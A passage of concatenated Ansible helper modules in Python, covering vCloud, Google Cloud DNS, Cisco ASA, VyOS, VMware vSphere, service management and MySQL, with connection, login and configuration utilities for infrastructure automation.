        for arg in VCD_REQ_ARGS:
            if module.params.get(arg) is None:
                module.fail_json(msg="argument %s is mandatory when service type "
                                 "is vcd" % arg)


def serialize_instances(instance_list):
    instances = []
    for i in instance_list:
        instances.append(dict(apiUrl=i['apiUrl'], instance_id=i['id']))
    return instances

def _vca_login(vca, password, instance):
    if not vca.login(password=password):
        raise VcaError("Login Failed: Please check username or password",
                       error=vca.response.content)

    if not vca.login_to_instance_sso(instance=instance):
        s_json = serialize_instances(vca.instances)
        raise VcaError("Login to Instance failed: Seems like instance_id provided "
                        "is wrong .. Please check", valid_instances=s_json)

    return vca

def _vchs_login(vca, password, service, org):
    if not vca.login(password=password):
        raise VcaError("Login Failed: Please check username or password",
                       error=vca.response.content)

    if not vca.login_to_org(service, org):
        raise VcaError("Failed to login to org, Please check the orgname",
                        error=vca.response.content)


def _vcd_login(vca, password, org):
    # TODO: this function needs to be refactored
    if not vca.login(password=password, org=org):
        raise VcaError("Login Failed: Please check username or password "
                       "or host parameters")

    if not vca.login(password=password, org=org):
        raise VcaError("Failed to get the token",
                       error=vca.response.content)

    if not vca.login(token=vca.token, org=org, org_url=vca.vcloud_session.org_url):
        raise VcaError("Failed to login to org", error=vca.response.content)

def vca_login(module):
    service_type = module.params.get('service_type')
    username = module.params.get('username')
    password = module.params.get('password')
    instance = module.params.get('instance_id')
    org = module.params.get('org')
    vdc_name = module.params.get('vdc_name')
    service = module.params.get('service_id')
    version = module.params.get('api_version')
    verify = module.params.get('verify_certs')

    _validate_module(module)

    if not vdc_name and service_type == 'vchs':
        vdc_name = module.params.get('service_id')

    if not org and service_type == 'vchs':
        org = vdc_name or service

    if service_type == 'vcd':
        host = module.params.get('host')
    else:
        host = LOGIN_HOST[service_type]

    username = os.environ.get('VCA_USER', username)
    password = os.environ.get('VCA_PASS', password)

    if not username or not password:
        msg = "Either the username or password is not set, please check args"
        module.fail_json(msg=msg)

    if service_type == 'vchs':
        version = '5.6'
    elif service_type == 'vcd' and not version:
        version == '5.6'

    vca = VCA(host=host, username=username,
              service_type=SERVICE_MAP[service_type],
              version=version, verify=verify)

    try:
        if service_type == 'vca':
            _vca_login(vca, password, instance)
        elif service_type == 'vchs':
            _vchs_login(vca, password, service, org)
        elif service_type == 'vcd':
            _vcd_login(vca, password, org)
    except VcaError as e:
        module.fail_json(msg=e.message, **e.kwargs)

    return vca











# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c), Franck Cuny <franck.cuny@gmail.com>, 2014
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

from ansible.module_utils.gcp import gcp_connect
from ansible.module_utils.gcp import unexpected_error_msg as gcp_error

try:
    from libcloud.dns.types import Provider
    from libcloud.dns.providers import get_driver
    HAS_LIBCLOUD_BASE = True
except ImportError:
    HAS_LIBCLOUD_BASE = False

USER_AGENT_PRODUCT = "Ansible-gcdns"
USER_AGENT_VERSION = "v1"

def gcdns_connect(module, provider=None):
    """Return a GCP connection for Google Cloud DNS."""
    if not HAS_LIBCLOUD_BASE:
        module.fail_json(msg='libcloud must be installed to use this module')

    provider = provider or Provider.GOOGLE
    return gcp_connect(module, provider, get_driver, USER_AGENT_PRODUCT, USER_AGENT_VERSION)

def unexpected_error_msg(error):
    """Create an error string based on passed in error."""
    return gcp_error(error)






#
# (c) 2016 Peter Sprygada, <psprygada@ansible.com>
# (c) 2016 Patrick Ogenstad, <@ogenstad>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#

import re
from ansible.module_utils.basic import AnsibleModule, env_fallback, get_exception
from ansible.module_utils.shell import Shell, ShellError, Command, HAS_PARAMIKO
from ansible.module_utils.netcfg import parse

NET_PASSWD_RE = re.compile(r"[\r\n]?password: $", re.I)

NET_COMMON_ARGS = dict(
    host=dict(required=True),
    port=dict(default=22, type='int'),
    show_command=dict(default='show running-config', choices=['show running-config', 'more system:running-config']),
    username=dict(fallback=(env_fallback, ['ANSIBLE_NET_USERNAME'])),
    password=dict(no_log=True, fallback=(env_fallback, ['ANSIBLE_NET_PASSWORD'])),
    ssh_keyfile=dict(fallback=(env_fallback, ['ANSIBLE_NET_SSH_KEYFILE']), type='path'),
    authorize=dict(default=False, fallback=(env_fallback, ['ANSIBLE_NET_AUTHORIZE']), type='bool'),
    auth_pass=dict(no_log=True, fallback=(env_fallback, ['ANSIBLE_NET_AUTH_PASS'])),
    context=dict(required=False),
    provider=dict(),
    timeout=dict(default=10, type='int')
)

CLI_PROMPTS_RE = [
    re.compile(r"[\r\n]?[\w+\-\.:\/\[\]]+(?:\([^\)]+\)){,3}(?:>|#) ?$"),
    re.compile(r"\[\w+\@[\w\-\.]+(?: [^\]])\] ?[>#\$] ?$")
]

CLI_ERRORS_RE = [
    re.compile(r"% ?Error"),
    re.compile(r"% ?Bad secret"),
    re.compile(r"invalid input", re.I),
    re.compile(r"is not valid", re.I),
    re.compile(r"(?:incomplete|ambiguous) command", re.I),
    re.compile(r"connection timed out", re.I),
    re.compile(r"[^\r\n]+ not found", re.I),
    re.compile(r"'[^']' +returned error code: ?\d+"),
]


def to_list(val):
    if isinstance(val, (list, tuple)):
        return list(val)
    elif val is not None:
        return [val]
    else:
        return list()


class Cli(object):

    def __init__(self, module):
        self.module = module
        self.shell = None

    def connect(self, **kwargs):
        host = self.module.params['host']
        port = self.module.params['port'] or 22

        username = self.module.params['username']
        password = self.module.params['password']
        key_filename = self.module.params['ssh_keyfile']
        timeout = self.module.params['timeout']

        try:
            self.shell = Shell(kickstart=False, prompts_re=CLI_PROMPTS_RE,
                    errors_re=CLI_ERRORS_RE)
            self.shell.open(host, port=port, username=username, password=password, key_filename=key_filename, timeout=timeout)
        except ShellError:
            e = get_exception()
            msg = 'failed to connect to %s:%s - %s' % (host, port, str(e))
            self.module.fail_json(msg=msg)

    def change_context(self):
        context = self.module.params['command']
        if context == 'system':
            command = 'changeto system'
        else:
            command = 'changeto context %s' % context

        self.send(Command(command))

    def authorize(self):
        passwd = self.module.params['auth_pass']
        self.send(Command('enable', prompt=NET_PASSWD_RE, response=passwd))

    def send(self, commands):
        return self.shell.send(commands)


class NetworkModule(AnsibleModule):

    def __init__(self, *args, **kwargs):
        super(NetworkModule, self).__init__(*args, **kwargs)
        self.connection = None
        self._config = None
        self._connected = False
        self.filter = None

    @property
    def connected(self):
        return self._connected

    @property
    def config(self):
        if not self._config:
            self._config = self.get_config()
        return self._config

    def _load_params(self):
        super(NetworkModule, self)._load_params()
        provider = self.params.get('provider') or dict()
        for key, value in provider.items():
            if key in NET_COMMON_ARGS.keys():
                if self.params.get(key) is None and value is not None:
                    self.params[key] = value

    def connect(self):
        self.connection = Cli(self)
        self.connection.connect()
        if self.params['authorize']:
            self.connection.authorize()
        self.connection.send('no terminal pager')

        if self.params['context']:
            if self.params['context'] == 'system':
                self.connection.send('changeto system')
            else:
                self.connection.send('changeto context %s' % self.params['context'])

        self._connected = True

    def configure(self, commands):
        commands = to_list(commands)
        commands.insert(0, 'configure terminal')
        responses = self.execute(commands)
        responses.pop(0)
        return responses

    def execute(self, commands, **kwargs):
        if not self.connected:
            self.connect()
        return self.connection.send(commands, **kwargs)

    def disconnect(self):
        self.connection.close()
        self._connected = False

    def parse_config(self, cfg):
        return parse(cfg, indent=1)

    def get_config(self):
        if self.filter:
            cmd = 'show running-config %s ' % self.filter
        else:
            cmd = self.params['show_command']
        if self.params.get('include_defaults'):
            cmd += ' all'
        return self.execute(cmd)[0]


def get_module(**kwargs):
    """Return instance of NetworkModule
    """
    argument_spec = NET_COMMON_ARGS.copy()
    if kwargs.get('argument_spec'):
        argument_spec.update(kwargs['argument_spec'])
    kwargs['argument_spec'] = argument_spec

    module = NetworkModule(**kwargs)

    # HAS_PARAMIKO is set by module_utils/shell.py
    if not HAS_PARAMIKO:
        module.fail_json(msg='paramiko is required but does not appear to be installed')

    return module






# -*- coding: utf-8 -*-

# (c) 2015, Joseph Callen <jcallen () csc.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


try:
    import atexit
    import time
    import ssl
    # requests is required for exception handling of the ConnectionError
    import requests
    from pyVim import connect
    from pyVmomi import vim
    HAS_PYVMOMI = True
except ImportError:
    HAS_PYVMOMI = False


class TaskError(Exception):
    pass


def wait_for_task(task):

    while True:
        if task.info.state == vim.TaskInfo.State.success:
            return True, task.info.result
        if task.info.state == vim.TaskInfo.State.error:
            try:
                raise TaskError(task.info.error)
            except AttributeError:
                raise TaskError("An unknown error has occurred")
        if task.info.state == vim.TaskInfo.State.running:
            time.sleep(15)
        if task.info.state == vim.TaskInfo.State.queued:
            time.sleep(15)


def find_dvspg_by_name(dv_switch, portgroup_name):

    portgroups = dv_switch.portgroup

    for pg in portgroups:
        if pg.name == portgroup_name:
            return pg

    return None

def find_entity_child_by_path(content, entityRootFolder, path):

    entity = entityRootFolder
    searchIndex = content.searchIndex
    paths = path.split("/")
    try:
        for path in paths:
            entity = searchIndex.FindChild (entity, path)

        if entity.name == paths[-1]:
            return entity
    except:
        pass

    return None


# Maintain for legacy, or remove with 2.1 ?
# Should be replaced with find_cluster_by_name
def find_cluster_by_name_datacenter(datacenter, cluster_name):

    host_folder = datacenter.hostFolder
    for folder in host_folder.childEntity:
        if folder.name == cluster_name:
            return folder
    return None

def find_cluster_by_name(content, cluster_name, datacenter=None):

    if datacenter:
        folder = datacenter.hostFolder
    else:
        folder = content.rootFolder

    clusters = get_all_objs(content, [vim.ClusterComputeResource], folder)
    for cluster in clusters:
        if cluster.name == cluster_name:
            return cluster

    return None

def find_datacenter_by_name(content, datacenter_name):

    datacenters = get_all_objs(content, [vim.Datacenter])
    for dc in datacenters:
        if dc.name == datacenter_name:
            return dc

    return None


def find_dvs_by_name(content, switch_name):

    vmware_distributed_switches = get_all_objs(content, [vim.dvs.VmwareDistributedVirtualSwitch])
    for dvs in vmware_distributed_switches:
        if dvs.name == switch_name:
            return dvs
    return None


def find_hostsystem_by_name(content, hostname):

    host_system = get_all_objs(content, [vim.HostSystem])
    for host in host_system:
        if host.name == hostname:
            return host
    return None

def find_vm_by_id(content, vm_id, vm_id_type="vm_name", datacenter=None, cluster=None):
    """ UUID is unique to a VM, every other id returns the first match. """
    si = content.searchIndex
    vm = None

    if vm_id_type == 'dns_name':
        vm = si.FindByDnsName(datacenter=datacenter, dnsName=vm_id, vmSearch=True)
    elif vm_id_type == 'inventory_path':
        vm = si.FindByInventoryPath(inventoryPath=vm_id)
        if type(vm) != type(vim.VirtualMachine):
            vm = None
    elif vm_id_type == 'uuid':
        vm = si.FindByUuid(datacenter=datacenter, instanceUuid=vm_id, vmSearch=True)
    elif vm_id_type == 'ip':
        vm = si.FindByIp(datacenter=datacenter, ip=vm_id, vmSearch=True)
    elif vm_id_type == 'vm_name':
        folder = None
        if cluster:
            folder = cluster
        elif datacenter:
            folder = datacenter.hostFolder
        vm = find_vm_by_name(content, vm_id, folder)

    return vm


def find_vm_by_name(content, vm_name, folder=None, recurse=True):

    vms = get_all_objs(content, [vim.VirtualMachine], folder, recurse=True)
    for vm in vms:
        if vm.name == vm_name:
            return vm
    return None


def find_host_portgroup_by_name(host, portgroup_name):

    for portgroup in host.config.network.portgroup:
        if portgroup.spec.name == portgroup_name:
            return portgroup
    return None


def vmware_argument_spec():

    return dict(
        hostname=dict(type='str', required=True),
        username=dict(type='str', aliases=['user', 'admin'], required=True),
        password=dict(type='str', aliases=['pass', 'pwd'], required=True, no_log=True),
        validate_certs=dict(type='bool', required=False, default=True),
    )


def connect_to_api(module, disconnect_atexit=True):

    hostname = module.params['hostname']
    username = module.params['username']
    password = module.params['password']
    validate_certs = module.params['validate_certs']

    if validate_certs and not hasattr(ssl, 'SSLContext'):
        module.fail_json(msg='pyVim does not support changing verification mode with python < 2.7.9. Either update python or or use validate_certs=false')

    try:
        service_instance = connect.SmartConnect(host=hostname, user=username, pwd=password)
    except vim.fault.InvalidLogin as invalid_login:
        module.fail_json(msg=invalid_login.msg, apierror=str(invalid_login))
    except (requests.ConnectionError, ssl.SSLError) as connection_error:
        if '[SSL: CERTIFICATE_VERIFY_FAILED]' in str(connection_error) and not validate_certs:
            context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
            context.verify_mode = ssl.CERT_NONE
            service_instance = connect.SmartConnect(host=hostname, user=username, pwd=password, sslContext=context)
        else:
            module.fail_json(msg="Unable to connect to vCenter or ESXi API on TCP/443.", apierror=str(connection_error))

    # Disabling atexit should be used in special cases only.
    # Such as IP change of the ESXi host which removes the connection anyway.
    # Also removal significantly speeds up the return of the module
    if disconnect_atexit:
        atexit.register(connect.Disconnect, service_instance)
    return service_instance.RetrieveContent()

def get_all_objs(content, vimtype, folder=None, recurse=True):
    if not folder:
      folder = content.rootFolder

    obj = {}
    container = content.viewManager.CreateContainerView(folder, vimtype, recurse)
    for managed_object_ref in container.view:
        obj.update({managed_object_ref: managed_object_ref.name})
    return obj







# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c) Ansible Inc, 2015
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

import platform
import os
import shlex
import select
import subprocess
import json

from ansible.module_utils.six import text_type, binary_type

class Service(object):
    """
    This is the generic Service manipulation class that is subclassed based on system.
    A subclass should override the following methods:
      - action
      - enable
      - status
    """

    def __init__(self, module):

        # states
        self.running        = None
        self.enabled        = None
        self.action         = None

        # outcome
        self.changed        = False

        # options
        self.module         = module

        # alias running to started
        if self.module.params['state'] == 'running':
            self.module.params['state'] = 'started'


    # ===========================================
    # Platform specific methods (must be replaced by subclass).

    def action(self):
        self.module.fail_json(msg="action not implemented on target service")

    def status(self): # this should also set self.enabled
        self.module.fail_json(msg="status not implemented on target service")

    def enable(self):
        self.module.fail_json(msg="enable not implemented on target service")

    # ===========================================
    # Generic methods that should be used on all services.

    def execute_command(self, cmd, daemonize=False):

        # Most things don't need to be daemonized
        if not daemonize:
            return self.module.run_command(cmd)

        # This is complex because daemonization is hard for people.
        # What we do is daemonize a part of this module, the daemon runs the
        # command, picks up the return code and output, and returns it to the
        # main process.
        pipe = os.pipe()
        pid = os.fork()
        if pid == 0:
            os.close(pipe[0])
            # Set stdin/stdout/stderr to /dev/null
            fd = os.open(os.devnull, os.O_RDWR)
            if fd != 0:
                os.dup2(fd, 0)
            if fd != 1:
                os.dup2(fd, 1)
            if fd != 2:
                os.dup2(fd, 2)
            if fd not in (0, 1, 2):
                os.close(fd)

            # Make us a daemon. Yes, that's all it takes.
            pid = os.fork()
            if pid > 0:
                os._exit(0)
            os.setsid()
            os.chdir("/")
            pid = os.fork()
            if pid > 0:
                os._exit(0)

            # Start the command
            if isinstance(cmd, (text_type, binary_type)):
                cmd = shlex.split(cmd)
            p = subprocess.Popen(cmd, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexec_fn=lambda: os.close(pipe[1]))
            stdout = ""
            stderr = ""
            fds = [p.stdout, p.stderr]
            # Wait for all output, or until the main process is dead and its output is done.
            while fds:
                rfd, wfd, efd = select.select(fds, [], fds, 1)
                if not (rfd + wfd + efd) and p.poll() is not None:
                    break
                if p.stdout in rfd:
                    dat = os.read(p.stdout.fileno(), 4096)
                    if not dat:
                        fds.remove(p.stdout)
                    stdout += dat
                if p.stderr in rfd:
                    dat = os.read(p.stderr.fileno(), 4096)
                    if not dat:
                        fds.remove(p.stderr)
                    stderr += dat
            p.wait()
            # Return a JSON blob to parent
            os.write(pipe[1], json.dumps([p.returncode, stdout, stderr]))
            os.close(pipe[1])
            os._exit(0)
        elif pid == -1:
            self.module.fail_json(msg="unable to fork")
        else:
            os.close(pipe[1])
            os.waitpid(pid, 0)
            # Wait for data from daemon process and process it.
            data = ""
            while True:
                rfd, wfd, efd = select.select([pipe[0]], [], [pipe[0]])
                if pipe[0] in rfd:
                    dat = os.read(pipe[0], 4096)
                    if not dat:
                        break
                    data += dat
            return json.loads(data)

    def check_ps(self):

        running = False

        # Set ps flags
        if platform.system() == 'SunOS':
            psflags = '-ef'
        else:
            psflags = 'auxww'

        # Find ps binary
        psbin = self.module.get_bin_path('ps', True)

        (rc, psout, pserr) = self.execute_command('%s %s' % (psbin, psflags))
        # If rc is 0, set running as appropriate
        if rc == 0:
            lines = psout.split("\n")
            for line in lines:
                if self.module.params['pattern'] in line and not "pattern=" in line:
                    # so as to not confuse ./hacking/test-module
                    running = True
                    break

        self.running = running

    def result(self, msg=''):
        return {
                'name': self.module.name,
                'state': self.status(),
                'enabled': self.enabled,
                'changed': self.changed,
                'msg': msg,
               }

    def run(self):

        if self.module.params['state'] is None and self.module.params['enabled'] is None:
            self.module.fail_json(msg="Neither 'state' nor 'enabled' set")

        # Set service startup state on request
        if self.module.params['enabled'] is not None and self.enabled != self.module.params['enabled']:
            self.changed = True
            if not self.module.check_mode:
                self.enable()

        if self.module.params['state'] is not None and self.module.params['state'] != self.status():
            self.changed = True
            if not self.module.check_mode:
                self.action()

        return self.result()


def service_shared_arg_spec():

    return dict(
            name = dict(required=True),
            state = dict(choices=['running', 'started', 'stopped', 'restarted', 'reloaded']),
            enabled = dict(type='bool'),
    )
            # these are only needed/useful in init/rc systems
            #arguments = dict(aliases=['args'], default=''),
            #pattern = dict(required=False, default=None),
            #sleep = dict(required=False, type='int', default=None),
            #runlevel = dict(required=False, default='default'),






# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c), Jonathan Mainguy <jon@soh.re>, 2015
# Most of this was originally added by Sven Schliesing @muffl0n in the mysql_user.py module
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

import os

try:
    import MySQLdb
    mysqldb_found = True
except ImportError:
    mysqldb_found = False

def mysql_connect(module, login_user=None, login_password=None, config_file='', ssl_cert=None, ssl_key=None, ssl_ca=None, db=None, cursor_class=None, connect_timeout=30):
    config = {}

    if ssl_ca is not None or ssl_key is not None or ssl_cert is not None:
        config['ssl'] = {}

    if module.params['login_unix_socket']:
        config['unix_socket'] = module.params['login_unix_socket']
    else:
        config['host'] = module.params['login_host']
        config['port'] = module.params['login_port']

    if os.path.exists(config_file):
        config['read_default_file'] = config_file

    # If login_user or login_password are given, they should override the
    # config file
    if login_user is not None:
        config['user'] = login_user
    if login_password is not None:
        config['passwd'] = login_password
    if ssl_cert is not None:
        config['ssl']['cert'] = ssl_cert
    if ssl_key is not None:
        config['ssl']['key'] = ssl_key
    if ssl_ca is not None:
        config['ssl']['ca'] = ssl_ca
    if db is not None:
        config['db'] = db
    if connect_timeout is not None:
        config['connect_timeout'] = connect_timeout

    db_connection = MySQLdb.connect(**config)
    if cursor_class is not None:
        return db_connection.cursor(cursorclass=MySQLdb.cursors.DictCursor)
    else:
        return db_connection.cursor()






# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c) 2015 Peter Sprygada, <psprygada@ansible.com>
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

import itertools
import re

from ansible.module_utils.network import NetworkModule, NetworkError
from ansible.module_utils.network import register_transport, to_list, get_exception
from ansible.module_utils.network import Command, NetCli
from ansible.module_utils.netcfg import NetworkConfig
from ansible.module_utils.shell import Shell, ShellError, HAS_PARAMIKO

DEFAULT_COMMENT = 'configured by vyos_config'

FILTERS = [
    re.compile(r'set system login user \S+ authentication encrypted-password')
]

def argument_spec():
    return dict(
        running_config=dict(aliases=['config']),
        comment=dict(default=DEFAULT_COMMENT),
        save_config=dict(type='bool', aliases=['save'])
    )
vyos_argument_spec = argument_spec()

def get_config(module):
    contents = module.params['running_config']
    if not contents:
        contents = str(module.config.get_config()).split('\n')
        module.params['config'] = contents
    contents = '\n'.join(contents)
    return NetworkConfig(contents=contents, device_os='junos')

def diff_config(candidate, config):
    updates = set()
    config = [str(c).replace("'", '') for c in str(config).split('\n')]

    for line in str(candidate).split('\n'):
        item = str(line).replace("'", '')

        if not item.startswith('set') and not item.startswith('delete'):
            raise ValueError('line must start with either `set` or `delete`')

        elif item.startswith('set') and item not in config:
            updates.add(line)

        elif item.startswith('delete'):
            if not config:
                updates.add(line)
            else:
                item = re.sub(r'delete', 'set', item)
                for entry in config:
                    if entry.startswith(item):
                        updates.add(line)

    return list(updates)

def check_config(config, result):
    result['filtered'] = list()
    for regex in FILTERS:
        for index, line in enumerate(list(config)):
            if regex.search(line):
                result['filtered'].append(line)
                del config[index]

def load_candidate(module, candidate):
    config = get_config(module)

    updates = diff_config(candidate, config)

    comment = module.params['comment']
    save = module.params['save_config']

    result = dict(changed=False)

    if updates:
        check_config(updates, result)
        diff = module.config.load_config(updates)
        if diff:
            result['diff'] = dict(prepared=diff)

        result['changed'] = True

        if not module.check_mode:
            module.config.commit_config(comment=comment)
            if save:
                module.config.save_config()
        else:
            module.config.abort_config()

        # exit from config mode
        module.cli('exit')

    result['updates'] = updates
    return result

def load_config(module, commands):
    contents = '\n'.join(commands)
    candidate = NetworkConfig(contents=contents, device_os='junos')
    return load_candidate(module, candidate)


class Cli(NetCli):

    CLI_PROMPTS_RE = [
        re.compile(r"[\r\n]?[\w+\-\.:\/\[\]]+(?:\([^\)]+\)){,3}(?:>|#) ?$"),
        re.compile(r"\@[\w\-\.]+:\S+?[>#\$] ?$")
    ]

    CLI_ERRORS_RE = [
        re.compile(r"\n\s*Invalid command:"),
        re.compile(r"\nCommit failed"),
        re.compile(r"\n\s+Set failed"),
    ]

    def connect(self, params, **kwargs):
        super(Cli, self).connect(params, kickstart=False, **kwargs)
        self.shell.send('set terminal length 0')
        self._connected = True

    ### Cli methods ###

    def run_commands(self, commands, **kwargs):
        commands = to_list(commands)
        return self.execute([str(c) for c in commands])

    ### Config methods ###

    def configure(self, commands, commit=True, **kwargs):
        """Called by Config.__call__
        """
        cmds = ['configure']
        cmds.extend(to_list(commands))
        response = self.execute(cmds)
        if commit:
            self.commit_config()
        return response

    def load_config(self, commands):
        self.configure(commands, commit=False)
        diff = None
        if not self.execute('compare')[0].startswith('No changes'):
            diff = self.execute(['show'])[0]
        return diff

    def get_config(self):
        return self.execute(['show configuration commands'])[0]

    def commit_config(self, confirm=0, comment=None):
        if confirm > 0:
            cmd = 'commit-confirm %s' % confirm
        else:
            cmd = 'commit'
        if comment:
            cmd += ' comment "%s"' % comment
        self.execute([cmd])

    def abort_config(self):
        self.execute(['discard'])

    def save_config(self):
        self.execute(['save'])
Cli = register_transport('cli', default=True)(Cli)






# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is based on
# Lib/posixpath.py of cpython
# It is licensed under the PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2
#
# 1. This LICENSE AGREEMENT is between the Python Software Foundation
# ("PSF"), and the Individual or Organization ("Licensee") accessing and
# otherwise using this software ("Python") in source or binary form and
# its associated documentation.
#
# 2. Subject to the terms and conditions of this License Agreement, PSF hereby
# grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce,
# analyze, test, perform and/or display publicly, prepare derivative works,
# distribute, and otherwise use Python alone or in any derivative version,
# provided, however, that PSF's License Agreement and PSF's notice of copyright,
